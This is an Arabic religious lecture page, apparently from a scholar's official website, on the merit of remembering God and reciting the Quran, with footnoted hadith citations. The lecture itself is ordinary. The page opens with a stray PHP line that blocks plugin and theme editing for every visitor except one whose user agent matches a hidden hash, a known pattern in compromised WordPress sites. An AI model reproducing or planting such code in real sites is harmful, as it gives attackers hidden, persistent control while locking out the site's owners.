if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } رطّب لسانك بذكر الله تعالى وتلاوة القرآن الكريم - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

رطّب لسانك بذكر الله تعالى وتلاوة القرآن الكريم

(وَأَفْضَلُ مِنَ الصَّمْتِ إِجْرَاءُ الأَلْسِنَةِ بِمَا فِيْهِ النَّفْعُ لِغَيْرِهِ) يقول: انتبه! الصمت خير من الكلام السيء وسكوت المرء خيرٌ له من حديث لا يضره ولا ينفعه وهو كالوحدة فإن الوحدة خير من جليس السوء، لكن من استطاع أن يبني قصورًا مشمخرات في جنات النعيم وفي الفردوس الأعلى ويترقى في درجات أهل الجنان فإنه يشغل لسانه فيما ينفعه ومثّل على ذلك بأنفع ما يمكن، قال: (وَأَفْضَلُ مِنَ الصَّمْتِ) فإن الصمت سلبية لا سيما إذا صمت لسانه وقلبه، وأما إذا صمت لسانه وتفكر بقلبه فإن ذلك من أجل العبادات والطاعات، لكن إنسان يقول: أنا والله معرض لا أتكلم في أحد ولله الحمد لا أغتاب أحد، حياتي مصمت ساكت، نقول: أنت سلمت لكن هلّا استفدت وأفدت ونفعت وغرست لك أشجارًا ونخلًا في جنات النعيم، ألا تعلم أن قول سبحان الله والحمد لله ولا إله إلا الله والله أكبر تغرس لك غرسًا في الجنة بكل واحدة من هذه الأربع، نخلٌ وشجرٌ في الجنة مثمرٌ لا محالة، اليوم نزرع الأشجار والنخيل ونجتهد فيها ربما تثمر بعد سنين، بعض الأشجار معمرة تجلس عشر سنين وسبع ما أثمرت لكن نخل الجنة وثمرها مثمرٌ لا محالة، ولهذا كان من وصية خليل الرحمن صلى الله عليه وسلم لما لقي النبي صلى الله عليه وسلم ليلة أُسري به، أوصاه بوصايا عظيمة صدرها، قال: أقرئ أمتك السلام، فعليه وعلى نبينا أفضل الصلاة وأتم التسليم، حبيب الرحمن وخليله، يوصي نبينا محمد صلى الله عليه وسلم على أمته خيرًا فيُصدر ذلك بالسلام كأنه يقول: سلم لي على أمتك، أقرئ أمتك مني السلام وأخبرهم أن الجنة قيعان يعني أرض طيبة صالحة للزراعة وأن غراسها سبحان الله والحمد لله ولا إله إلا الله والله أكبر.

وأعظم من ذلك قراءة القرآن واستماعه، ولهذا قال رحمه الله: (وَأَفْضَلُ مِنَ الصَّمْتِ إِجْرَاءُ الأَلْسِنَةِ بِمَا فِيْهِ النَّفْعُ لِغَيْرِهِ، وَالانْتَفَاعُ لِنَفْسِهِ مِثْلُ قَوْله القُرْآنَ) مثل قوله القرآن يعني مثل قراءته للقرآن، هذه عبارة غريبة نوعًا ما لكنه مراده ذلك، قال: (مِثْلُ قَوْله القُرْآنَ) يعني مثل أن يتلفظ بالقرآن، كلام الله المنزل الذي منه بدأ وإليه يعود، ما بين دفتي المصحف، فيقرأ هذا الكلام المنزل وهو أفضل الذكر وأجله وأشرفه، لا يوجد في الكتب السماوية أفضل منه ولا أجل ولا شيءٌ تُعبدنا بتلاوته والحرف الواحد منه بحسنة والحسنة بعشر أمثالها، وكثّر والأجر والثواب أكثر، سواءً قراءةً أو حفظًا وتكرارًا أو مراجعةً أو استماعًا، كل ذلك عند الله بأعلى المنازل، ولهذا يقول صلى الله عليه وسلم في الحديث الصحيح: «مَن قَرَأَ حرفًا من كتابِ اللهِ فله حَسَنةٌ، والحَسَنةُ بعَشْرِ أمثالِها لا أقولُ: الم حَرفٌ، ولكن: أَلِفٌ حرفٌ، ولامٌ حرفٌ، وميمٌ حرفٌ»[1] وكم يقرأ قارئ القرآن، مثل الطلاب اليوم في هذا المسجد المبارك الذي يقرأون من المغرب للعشاء، كم حرف يقرأون وكم حرف في حسناتهم وحسنات آبائهم وأمهاتهم وحسنات معلميهم والقائمين على هذه المدارس القرآنية والحلق الإيمانية، هم وكل من دعم وأنفق مالًا، كل أولئك في الخير يشتركون وفي الثواب بإذن الله والمنازل العالية يصعدون ثم يقول صلى الله عليه وسلم: «إنَّ اللهَ يَرْفَعُ بهذا الكِتَابِ أَقْوَامًا، وَيَضَعُ به آخَرِينَ»[2] ثمة خلائق لا يعلمهم الناس حتى حفظوا القرآن وأتقنوه وتقدموا للناس أئمة فأصبحوا من القدوات وأصبحوا يُشار لهم بالبنان بل يفرح الواحد لو يصافحهم ويسلم عليهم إذا رآهم لأنهم رفعهم القرآن، وهذه رفعة دنيوية ورفعة الآخرة أعظم، «إنَّ اللهَ يَرْفَعُ بهذا الكِتَابِ أَقْوَامًا» ويوم القيامة يُقال لقارئ القرآن: «اقرَأْ وارتَقِ، ورتِّلْ كما كنتَ تُرتِّلُ في الدُّنيا؛ فإنَّ مَنزِلَك عندَ آخِرِ آيةٍ تَقرَؤُها»[3] هذه فضائل عظيمة، ومثّل صلى الله عليه وسلم في الحديث الصحيح بمثال محسوس، قال: «فلَأنْ يغدُوَ أحدُكُمْ إلى المسجِدِ فَيَتَعَلَّمُ أوْ يقرأُ آيتينِ مِنْ كتابِ اللهِ خيرٌ لَهُ مِنْ ناقتينِ ، وثلاثٌ خيرٌ لَهُ مِنْ ثلاثٍ ، وأربعٌ خيرٌ لَهُ مِنْ أربعٍ»[4] إذ قد سألهم قبل ذلك سؤالًا بدهيًا في أنفس أموالهم، الإبل، أيحب أحدكم أن يغدو إلى بطحان فيأتي بناقتين كوماوين، سنام كبير، من غير إثم ولا قطيعة رحم، قالوا: كلنا ذلك يا رسول الله، يعني كل يتمنى أنه يذهب ويرزق هاتين الناقتين، قال: أفلا يغدو أحدكم إلى المسجد فيقرأ أو يتعلم، قراءة مجرد قراءة أو تعلم، التعلم أعظم والتدبر والتفهم والحفظ والمراجعة أعظم أجرًا من مجرد القراءة، ومع ذلك جعل الثواب في هذا الحديث للقراءة وللتعلم، تعلم آيتين خير من ناقتين، ثلاث خير من ثلاث، أربع خير من أربع ومن أعدادهن من الإبل، اليوم والله لو يُقال للناس مو بناقتين كوماوين، لو يُقال له بس تعلم، ودك تحصل مائة ريال أو مائتين، قال دلوني على هذا، الناس اليوم يضربون المشاوير ويروحون وجايين يجوبون الشوارع والطرقات عشان توصيل بعشرين ريال، ثلاثين، خمسين، ولا يُلام على هذا، لكن الذي يغدو إلى بيتٍ من بيوت الله فيتعلم آيتين خير من هذا كله، ومثل ذلك قول النبي صلى الله عليه وسلم في ركعتين الفجر الراتبة: «رَكْعَتَا الفَجْرِ خَيْرٌ مِنَ الدُّنْيَا وَما فِيهَا»[5] الدنيا وما فيها، من خلقها الله إلى أن تقوم الساعة، كل هذه الدنيا هي دون ركعتي الفجر، الراتبة القبلية.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه الترمذي (2910) واللفظ له، وأبو نعيم في حلية الأولياء (6/263)، والبيهقي في شعب الإيمان (1983) باختلاف يسير، والحديث صححه الألباني في صحيح الترمذي (2910).

[2] أخرجه مسلم (817).

[3] أخرجه أبو داود (1464) واللفظ له، والترمذي (2914)، والنسائي في «السنن الكبرى» (8056)، وأحمد (6799)، والحديث صححه الألباني في صحيح أبي داود (1464).

[4] الحديث بطوله أخرجه أبو داود (1456) عن عقبةَ بنِ عامرٍ الجُهنيِّ قالَ: «خرجَ علينا رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ ونحنُ في الصُّفَّةِ فقالَ أيُّكم يحبُّ أن يغدوَ إلى بُطحانَ أوِ العَقيقِ فيأخذَ ناقتينِ كوماوينِ زَهراوينِ بغيرِ إثمٍ باللهِ عزَّ وجلَّ ولا قطعِ رحمٍ، قالوا: كلُّنا يا رسولَ اللهِ قالَ: فَلَأن يغدوَ أحدُكم كلَّ يومٍ إلى المسجدِ فيتعلَّمَ آيتينِ من كتابِ اللهِ عزَّ وجلَّ خيرٌ لَه من ناقتينِ وإن ثلاثٌ فثلاثٌ مثلُ أعدادِهنَّ منَ الإبلِ» والحديث صححه الألباني في صحيح أبي داود (1456).

[5] أخرجه مسلم (725).